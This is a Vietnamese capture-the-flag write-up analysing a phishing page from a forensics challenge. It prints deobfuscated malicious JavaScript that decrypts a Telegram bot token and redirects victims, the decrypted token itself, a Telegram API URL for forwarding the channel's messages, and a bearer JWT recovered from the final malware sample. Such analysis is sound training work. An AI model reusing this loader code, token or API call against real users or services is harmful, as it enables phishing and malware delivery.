# Hard
## Tales for the Brave

### Overview
Thử thách này cần phải spawn docker để có thể tiến hành cuộc điều tra
## Analyze
Theo như mô tả thì mình sẽ dùng firefox **Bởi vì nếu thực hiện trên trình khác sẽ xảy ra bug dấu "%" vì tôi đã thử :(((** để thực hiện debug cũng như phân tích
Đây là một trang web với mục đích là **phishing**:

Tiến hành f12 hoặc ctrl+u:

* File js này hiểu nôm na sẽ là phần mã bên trong thẻ <script> trong HTML chủ yếu chứa mã JavaScript được thực thi ở phía khách hàng (frontend) => nghĩa là trình duyệt của người dùng xử lý mã này.
Thực hiện vào xem source:

* Đoạn mã này đã bị làm rối, nhưng theo kinh nghiệm tích lũy ít ỏi của tôi thì ta nên thực hiện sửa biến => thực hiện debug chạy trên web luôn:
Cách làm như sau:
* Tôi sẽ tiến hành clone cái trang html về và sẽ thay đổi lại như sau:
```html=1
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Newsletter Signup</title>
<link rel="stylesheet" href="css/index.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script>
</head>
<body>
<div class="newsletter">
<div class="image-section">
<img src="img/storytellingEldoriaMyths.png" alt="Rings" />
</div>
<div class="form-section">
<h1>Tales of Eldoria: Stories of Magic and Bravery for the Young and Curious</h1>
<p>In the mystical lands of Eldoria, where dragons soar and ancient magic pulses through the air, storytelling is more than just a pastime—it's a tradition that bridges generations. Imagine a magical evening where children gather around glowing crystal orbs, listening to the mesmerizing myths and legends of Eldoria. These tales teach courage, friendship, and the magic of harmony.</p>
<form id="newsletterForm">
<input type="email" id="email" placeholder="Email" />
<input type="text" id="descriptionField" placeholder="Description" />
<div class="checkbox-group">
<p>The newsletter offers:</p>
<label><input class="cb" id="c1" type="checkbox" /> Legends of Dragons</label>
<label><input class="cb" id="c2" type="checkbox" /> Ancient Magic</label>
<label><input class="cb" id="c3" type="checkbox" /> Adventures of Heroes</label>
<label><input class="cb" id="c4" type="checkbox" /> Eldoria Myths</label>
</div>
<div class="buttons">
<button type="submit" data-node-outlined="false" class="button primary">SUBMIT</button>
</div>
</form>
</div>
</div>
<script src="original.js"></script> // Nằm cùng folder
</body>
</html>
```
* Đồng thời trong source javascript tôi sẽ thay biến `eval()` thành biến `console.log()` nhằm in ra cái payload tiếp theo để tiếp tục phân tích:
* Tiến hành cài extension `live server` để có thể deploy chạy dưới local:
* Đây chính là payload thứ 2 của malware này:
* 
Lên [deobfuscate.io/](https://deobfuscate.io/) để deobfuscated nhằm dễ dàng phân tích hơn:
:::spoiler
```javascript=1
var _$_8b18 = function (k, j) {
var y = k.length;
var o = [];
for (var m = 0; m < y; m++) {
o[m] = k.charAt(m);
}
;
for (var m = 0; m < y; m++) {
var b = j * (m + 143) + j % 34726;
var r = j * (m + 91) + j % 23714;
var v = b % y;
var s = r % y;
var f = o[v];
o[v] = o[s];
o[s] = f;
j = (b + r) % 4449625;
}
;
var a = "";
var i = "";
var e = "%";
var q = "#1";
var t = "%";
var h = "#0";
var w = "#";
return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a);
}("shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota", 3827531);
document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function (e) {
e[_$_8b18[1]]();
const emailField = document[_$_8b18[3]](_$_8b18[2]);
const descriptionField = document[_$_8b18[3]](_$_8b18[4]);
let isValid = true;
if (!emailField[_$_8b18[5]]) {
emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]);
isValid = false;
setTimeout(() => {
return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6]);
}, 500);
}
;
if (!isValid) {
return;
}
;
const emailValue = emailField[_$_8b18[5]];
const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0];
const desc = parseInt(descriptionField[_$_8b18[5]], 10);
f(specialKey, desc);
});
;
function G(r) {
return function () {
var r = Array.prototype.slice.call(arguments), o = r.shift();
return r.reverse().map(function (r, t) {
return String.fromCharCode(r - o - 7 - t);
}).join("");
}(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) {
return String.fromCharCode(r.charCodeAt() + -13);
}).join("") + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function (r) {
return String.fromCharCode(r.charCodeAt() + -39);
}).join("") + 381..toString(36).toLowerCase().split("").map(function (r) {
return String.fromCharCode(r.charCodeAt() + -13);
}).join("") + function () {
var r = Array.prototype.slice.call(arguments), o = r.shift();
return r.reverse().map(function (r, t) {
return String.fromCharCode(r - o - 60 - t);
}).join("");
}(42, 216, 153, 153, 213, 187);
}
;
var _$_5975 = function (o, u) {
var g = o.length;
var t = [];
for (var w = 0; w < g; w++) {
t[w] = o.charAt(w);
}
;
for (var w = 0; w < g; w++) {
var z = u * (w + 340) + u % 19375;
var a = u * (w + 556) + u % 18726;
var h = z % g;
var q = a % g;
var b = t[h];
t[h] = t[q];
t[q] = b;
u = (z + a) % 5939310;
}
;
var k = "";
var r = "";
var l = "%";
var i = "#1";
var v = "%";
var e = "#0";
var f = "#";
return t.join(r).split(l).join(k).split(i).join(v).split(e).join(f).split(k);
}("%dimfT%mVlzx%degpatf5bfnrG%6tSiqth5at%easpi0emILmcim%e%/!=eZtnHf%e7cf+3rstO%%.D0i8p3t/Sphryoa%IL0rin%rcAeF6%nsenoYaLeQ5Natp4CrSrCGttUtZrdG%rlxe2poa2rdg=9fQs%&j_of0ButCO tb=r35DyCee8tgaCf=I=%rAQa4fe%ar0aonsGT_v/NgoPouP2%eoe%ue3tl&enTceynCtt4FBs%s/rBsAUEhradnkrstfgd?%t%xeyhcedeTo%olghXMsaocrB3aaDBr5rRa16Cjuct%cOee5lWE_ooo+Ka4%d3TysnehshstepId%%Ieoaycug:i_m=%%mjp0tgaiidoei.prn%sw1d", 4129280);
function f(oferkfer, icd) {
const channel_id = -1002496072246;
var enc_token = _$_5975[0]; // nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==
if (oferkfer === G(_$_5975[1]) && CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[2]]) === _$_5975[8]) {
var decrypted = CryptoJS[_$_5975[12]][_$_5975[11]](enc_token, CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer), {drop: 192})[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]);
var HOST = _$_5975[13] + String[_$_5975[14]](47) + String[_$_5975[14]](98) + String[_$_5975[14]](111) + String[_$_5975[14]](116) + decrypted;
var xhr = new XMLHttpRequest;
xhr[_$_5975[15]] = function () {
if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
try {
const link = resp[_$_5975[20]][_$_5975[19]];
window[_$_5975[23]][_$_5975[22]](link);
} catch (error) {
alert(_$_5975[24]);
}
}
};
xhr[_$_5975[29]](_$_5975[25], HOST + String[_$_5975[14]](47) + _$_5975[26] + icd + _$_5975[27] + channel_id + _$_5975[28]);
xhr[_$_5975[30]](null);
} else {
alert(_$_5975[24]);
}
}
;
;
var sequence = [];
;
function l() {
sequence.push(this.id);
}
;
;
var checkboxes = document.querySelectorAll("input[class=cb]");
for (var i = 0; i < checkboxes.length; i++) {
checkboxes[i].addEventListener("change", l);
}
```
:::
```
_$_8b18 =
[
'submit', 'preventDefault',
'email', 'getElementById',
'descriptionField', 'value',
'shake', 'add',
'classList', 'remove',
'@', 'split',
'log', 'addEventListener',
'newsletterForm'
]
```
```
_$_5975=
[
'nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==',
's3cur3k3y',
'Base64',
'enc',
'toString',
'',
'join',
'SHA256',
'18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=',
'Utf8',
'parse',
'decrypt',
'RC4Drop',
'https://api.telegram.org',
'fromCharCode',
'onreadystatechange',
'readyState',
'DONE',
'responseText',
'text',
'result',
'log',
'replace',
'location',
'Form submitted!',
'GET',
'forwardMessage?chat_id=',
'&from_chat_id=',
'&message_id=5',
'open',
'send'
]
```
Nôm na logic của đoạn mã độc này là:
1. **Form Submission Handler**:
- Chặn sự kiện submit form, kiểm tra tính hợp lệ của email.
- Thu thập giá trị email (phần trước @ làm `specialKey`) và số từ trường "description".
2. **Hàm `f(oferkfer, icd)`**:
- **Kiểm tra điều kiện**:
- `oferkfer` phải bằng kết quả hàm `G('s3cur3k3y')` (một chuỗi được mã hóa phức tạp).
- Chuỗi `sequence` (từ các checkbox) phải có hash SHA256 khớp với giá trị định sẵn.
- **Giải mã token Telegram**:
- Sử dụng thuật toán RC4Drop để giải mã `enc_token` thành bot token thật.
- **Giao tiếp với Telegram API**:
- Gửi request để forward message từ channel (-1002496072246) đến chat ID (`icd`) chỉ định.
- Nếu thành công, redirect người dùng đến link độc hại.
3. **Hàm `G()`**:
- Tạo chuỗi key qua nhiều bước mã hóa (base36, biến đổi char code,...), kết quả là một static key ẩn.
4. **Checkbox Tracking**:
- Theo dõi thứ tự click checkbox, lưu ID vào mảng `sequence` để kiểm tra hash.
Tiếp theo mình sẽ tiến hành decrypt token của con bot telegram để xem nó forward qua nhưng tin nhắn bí mật gì.
```javascript=1
const CryptoJS = require('crypto-js');
function G(r) {
return function () {
var r = Array.prototype.slice.call(arguments), o = r.shift();
return r.reverse().map(function (r, t) {
return String.fromCharCode(r - o - 7 - t);
}).join("");
}(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) {
return String.fromCharCode(r.charCodeAt() + -13);
}).join("") + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function (r) {
return String.fromCharCode(r.charCodeAt() + -39);
}).join("") + 381..toString(36).toLowerCase().split("").map(function (r) {
return String.fromCharCode(r.charCodeAt() + -13);
}).join("") + function () {
var r = Array.prototype.slice.call(arguments), o = r.shift();
return r.reverse().map(function (r, t) {
return String.fromCharCode(r - o - 60 - t);
}).join("");
}(42, 216, 153, 153, 213, 187);
}
;
var enc_token = 'nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==';
var oferkfer = G('s3cur3k3y');
var decrypted = CryptoJS['RC4Drop']['decrypt'](enc_token, CryptoJS['enc']['Utf8']['parse'](oferkfer), {drop: 192})['toString'](CryptoJS['enc']['Utf8']);
console.log(decrypted); //7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc
```
Tiến hành forward tin nhắn từ kênh con bot đó qua mình thôi, đầu tiên:
* Lấy thông tin về bot chat này trước, dùng url này:
* 
* Tiếp theo là đến bước forward chat:
* 
url: ```https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessages?from_chat_id=-1002496072246&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883```

Ở trong phần bot chat này có chứa 1 file `Brave.zip` + password zip , có lẻ đây là final malware rồi
Tiến hành tải về giải nén zip và tiến hành phân tích tiếp thôi:
Sử dụng detect it easy tool để xem rõ đặc trưng của file:

Tuy là viết bằng ngôn ngữ c++ nhưng cách build lại khác so với nhưng file exe thông thường ở file này có sử dụng thư viện .NET (cụ thể là aot .net)
Trong giải diễn ra thì mình solve bài này theo hướng phân tích động:
* Chạy file malware trên máy ảo => dump process malware về và thực hiện strings

Sau giải thì mình có hỏi 1 bạn reverse trong team về cách làm theo hướng phân tích tĩnh
=> Mình sẽ tạo 1 file .sig để load vào ida để dễ đọc code hơn
Tiến hành load vào ida phân tích:
* Debug một hồi thì sẽ thấy có 1 hàm dùng để bắn request đến 1 server nào đó

* Tiếp tục debug sâu hơn là sẽ thấy rõ:

```
Authorization: Bearer Token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcm9tIjoiY29zdGkiLCJjYW1wYWlnbl9pZCI6Ik9wZXJhdGlvbiBFbGRvcmlhIDogRXhwb3NpbmcgdGhlIGJyYXZlcyIsImF1dGgiOiJVMFpTUTJVd1JsRldSamxxVFVjMWVtTkVSbmxPUjAxNFRUTk9abGxxVG05TlZ6VnJXREpKZW1KcVJtNWliRGx6VFVSQ2NrMVhOVzVZTTAxNFpFUk9lbVpSUFQwPSJ9.HelK5pTs6fenv8TKmAPrV3tzhSZm4GEAnEV9vBBtAzg
```
* Tiến hành decode jwt => lấy flag thôi:


## REF:
https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
**This is official wu**: https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/Tales%20for%20the%20Brave